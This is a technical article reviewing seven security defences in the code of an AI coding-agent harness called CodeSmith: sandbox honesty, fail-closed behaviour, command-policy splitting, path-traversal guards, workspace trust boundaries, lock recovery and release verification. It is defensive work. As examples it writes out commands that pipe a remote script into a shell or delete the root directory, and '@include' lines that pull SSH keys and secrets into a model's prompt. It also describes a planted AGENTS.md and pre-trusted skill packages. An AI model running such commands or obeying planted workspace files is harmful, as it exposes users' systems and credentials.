CodeSmith 七項安全防護措施的實作檢視

Injection Defense: Seven Notes on Settling the Security Debt

Source version of CodeSmith: v0.5.0 (commit 3a74c82f). All paths are relative to the repo root; line numbers refer to this version.
Intended audience: readers who have written tools for an Agent and pondered what a model's input can pry loose.

This installment books seven accounts on CodeSmith's security face: honest sandbox reporting, fail-closed behavior, compound-command segmentation, path-traversal guards, trust boundaries, poison-lock tolerance, and atomic writes plus release-chain pinning. The seven accounts come from no external audit — the evidence is all self-attested in the code comments, which makes this a round of settling debts with our own code. This article goes through them note by note.

Note One: The Sandbox May Not Lie

Start with the most counterintuitive entry. A gap between name and reality across sandbox backends is a real temptation: Landlock's rules must be applied inside the process before the child execs, and that pathway was never wired up; the Windows side has no helper at all — the most it does is inject a string of sandbox environment variables — an environment variable is not process containment. If the execution environment's metadata kept saying "isolated", the approval UI, the session record, and sandbox run would all take it at its word.

The code's answer is a judgment API that does not lie (crates/agent-runtime/src/sandbox/mod.rs:770):

pub fn enforces_isolation(self) -> bool {
    match self {
        SandboxType::None => false,
        #[cfg(target_os = "macos")]
        SandboxType::MacosSeatbelt => true,
        #[cfg(target_os = "linux")]
        SandboxType::LinuxBwrap => true,
        #[cfg(target_os = "linux")]
        SandboxType::LinuxLandlock => false,
        #[cfg(target_os = "windows")]
        SandboxType::Windows => false,
    }
}

"Can this backend actually hold a local child process captive today?" gets a boolean that does not lie. Landlock unwired, Windows helperless — both are booked as "no isolation".

The companion cut collapses the branch that is not what it claims to be (sandbox/mod.rs:1140): prepare_landlock simply returns an unsandboxed environment, with a comment stating it plainly — the command runs without containment — so every consumer of the ExecEnv sees the truth. Metadata may not promise capabilities: that is the first principle of security reporting.

Note Two: Better to Refuse Than to Run Bare

An honest label is only the premise; codesmith sandbox run must also be willing to refuse. Without that gate, a command the user explicitly asked to "run in the sandbox" would execute with zero containment on a Landlock or backend-less machine — and nothing would ever notice.

Where the gate sits (crates/tui/src/main.rs:4955): when policy demands a sandbox and the selected backend cannot isolate, bail on the spot — and the error message attaches two ways out (install bubblewrap and enable prefer_bwrap, or switch to a policy that does not require a sandbox).

The config side leaves no fail-open either: sandbox_backend = "opensandbox2" (misspelled) is not silently swallowed with a quiet retreat to local execution — an unrecognized name is an error (crates/tui/src/sandbox/backend.rs:41). A typo in the config should not soundlessly disable the external sandbox the user called for by name.

Note Three: Wildcards May Not Cross the Separators

What the command-policy matcher must defend against is a classic vulnerability: match the whole command as one string with wildcards, and * can stride across &&, ;, and | — the allow rule cargo * would then "authorize" cargo build && curl evil.sh | sh.

The core of the defense is a ten-line splitter (crates/agent-runtime/src/execpolicy/matcher.rs:157): it cuts the command into top-level segments on the three characters &, |, and ;. Note that the split is character-level — a separator inside quotes counts as a boundary too. A comment explains why this "over-splitting" is acceptable: in the allow direction it can only make things stricter, never looser — every segment must be allowed before the whole is — and that is the safe direction for policy matching.

The verdict semantics turn symmetric to match: for a compound command to be allowed, every segment must be covered by some allow rule, or it goes to the user for adjudication; the deny direction is the mirror image — a compound command is exactly as dangerous as its most dangerous segment, and any segment hitting a deny rule rejects the whole. cd /tmp && rm -rf / can no longer slip past the rm -rf / rule.

The test name is the verdict itself: wildcard_does_not_cross_command_separators; git status -s && curl evil.sh | sh must land in AskUser.

Note Four: Eight Join Sites

The pathology of path traversal is remarkably uniform: model-controllable id/slug strings get Path::joined straight into file paths. The guard is the off-the-shelf is_safe_path_component (crates/agent-runtime/src/utils.rs:250; whitelist [A-Za-z0-9._-], no dot at either end), and eight sites all pass through this one gate: automation records and the runs directory, background-task output, durable-task artifacts, plan slugs, recall-archive session ids...

The most dangerous of the sites is extension uninstall — the id gets joined into a path fed to remove_dir_all (crates/extensions/src/installer.rs:101), so a .. or an absolute path could swap out the entire extensions root; that is why this site uniformly demands a "single safe path component".

Note Five: Untrusted Content Brings No Trust of Its Own

The trust-boundary theme: workspace files are untrusted content, and untrusted content may not promote itself. Three channels, locked one by one (crates/agent-runtime/src/claudemd.rs).

First, @include in AGENTS.md: left unconstrained, @include ../../secrets.md or @include ~/.ssh/id_rsa would be expanded recursively, pulling arbitrary files into the system prompt. The rule: an include target must stay inside the directory subtree of the file that contains it, the comparison goes through normalized paths so symlinks cannot slip around it (claudemd.rs:148); and an @include example inside a code fence is not executed as a live directive either.

Second, the parent-directory walk-up: unbounded, it would let a workspace under /tmp load a planted /tmp/AGENTS.md. The rule: the walk-up is bounded by the user's home, and if the workspace is not inside home, the walk simply does not happen (claudemd.rs:286) — no system prompt can grow out of a world-writable ancestor directory.

Third, the skill trust flag: .trusted should only ever be granted by the local /skill trust — when the unpacker meets a file of the same name inside a tarball, it skips it outright; community skill packages must not ship from the factory with trust pre-installed. A one-line comment says it all: trust is granted by the local installation process, not carried by the artifact.

Note Six: Poisoned Locks and Half-Written Files

Two small, deep pits. First: a Rust Mutex turns "poisoned" after the thread holding it panics, and both naive reactions are lethal. expect cascades the panic — a panic in any unrelated thread would then fell every session that follows; unwrap_or(false) silently wipes the state — if NetworkSessionCache took that fallback, the moment the lock poisoned itself, the set of hosts the user had approved or denied this session would vanish into thin air, and already-approved hosts would re-prompt for approval endlessly.

The fix in both places is the same one: PoisonError::into_inner() recovers the data (crates/agent-runtime/src/network_policy.rs:420). The rationale is written in the comment: what the lock guards is just an ordinary HashSet, there is no half-written invariant to violate, so recovery is always safe.

Second: atomic writes. Writing the config in place leaves a half-written file behind on crash; four sites go through write_atomic (temp + fsync + rename, crates/agent-runtime/src/utils.rs:224); the self-updater likewise fsyncs before swapping in the binary — otherwise a crash could leave behind an empty binary that was "renamed into place while its data never reached the disk".

Merging approval grants hides one more pit: a naive union would resurrect locally removed grants — the fix records tombstones and subtracts them after the merge, and the test is named exactly save_does_not_resurrect_removed_grants.

Note Seven: Fake Verification on the Release Chain

The last entry is the most sinister, sinister in that it supplies a feeling of safety. The rule itself is one sentence: if the SHA256 manifest is missing, refuse to install the unverified binary outright — no "optional verification" arrangement. What it guards against is fake verification: the manifest sits in the wrong directory of the release, the glob never matches, and a release can go out with its checksum file missing and never know it.

The install script is another variant of the same trap: rename the downloaded file to codesmith first, then run shasum -c --ignore-missing — but the manifest has no entry named codesmith, so the check silently verifies zero files. Fake verification is more dangerous than no verification, because it feels like safety.

The script therefore downloads under the original name, matches its two entries exactly, and moves the check ahead of the sudo mv; the CI's GitHub Actions are all pinned to 40-character SHAs — a tag can be moved; an SHA cannot.

Summary: The Grammar of Settling the Debt

String the seven notes together and one consistent grammar emerges:

1. Honest reporting: capability labels correspond one-to-one with actual capability, and enforces_isolation delivers the final word;
2. Closed by default: if the sandbox cannot run, refuse to execute; if the config cannot be recognized, raise an error — never degrade silently;
3. Strict verdicts: wildcards may not cross separators, allow requires every segment and deny any one, and over-splitting quoted text is the acceptable price;
4. Bounded trust: untrusted content cannot pull in files, cannot walk up the tree, cannot carry a trust flag of its own;
5. Recoverable crashes: a poisoned lock recovers its data without losing decisions, everything reaches disk behind an fsync, and verification must be real.

Three properties, with their price tags:

1. fail-closed: refuse rather than run bare — the price is that an environment with broken config goes from "works" to "errors", and the user must install bubblewrap once more;
2. Strict over-splitting: character-level segmentation will misjudge separators inside quotes — the price is that a tiny minority of legitimate compound commands get pushed to human adjudication;
3. Comments as audit: the seven classes of constraint depend on no external documentation — the price is that the evidence lies scattered in code comments everywhere and needs a bill like this one to tally it up.

Look back at Article 0: Out of the Box meant "it runs on day one"; these seven notes are "it still runs, every day after" — two faces of the same harness.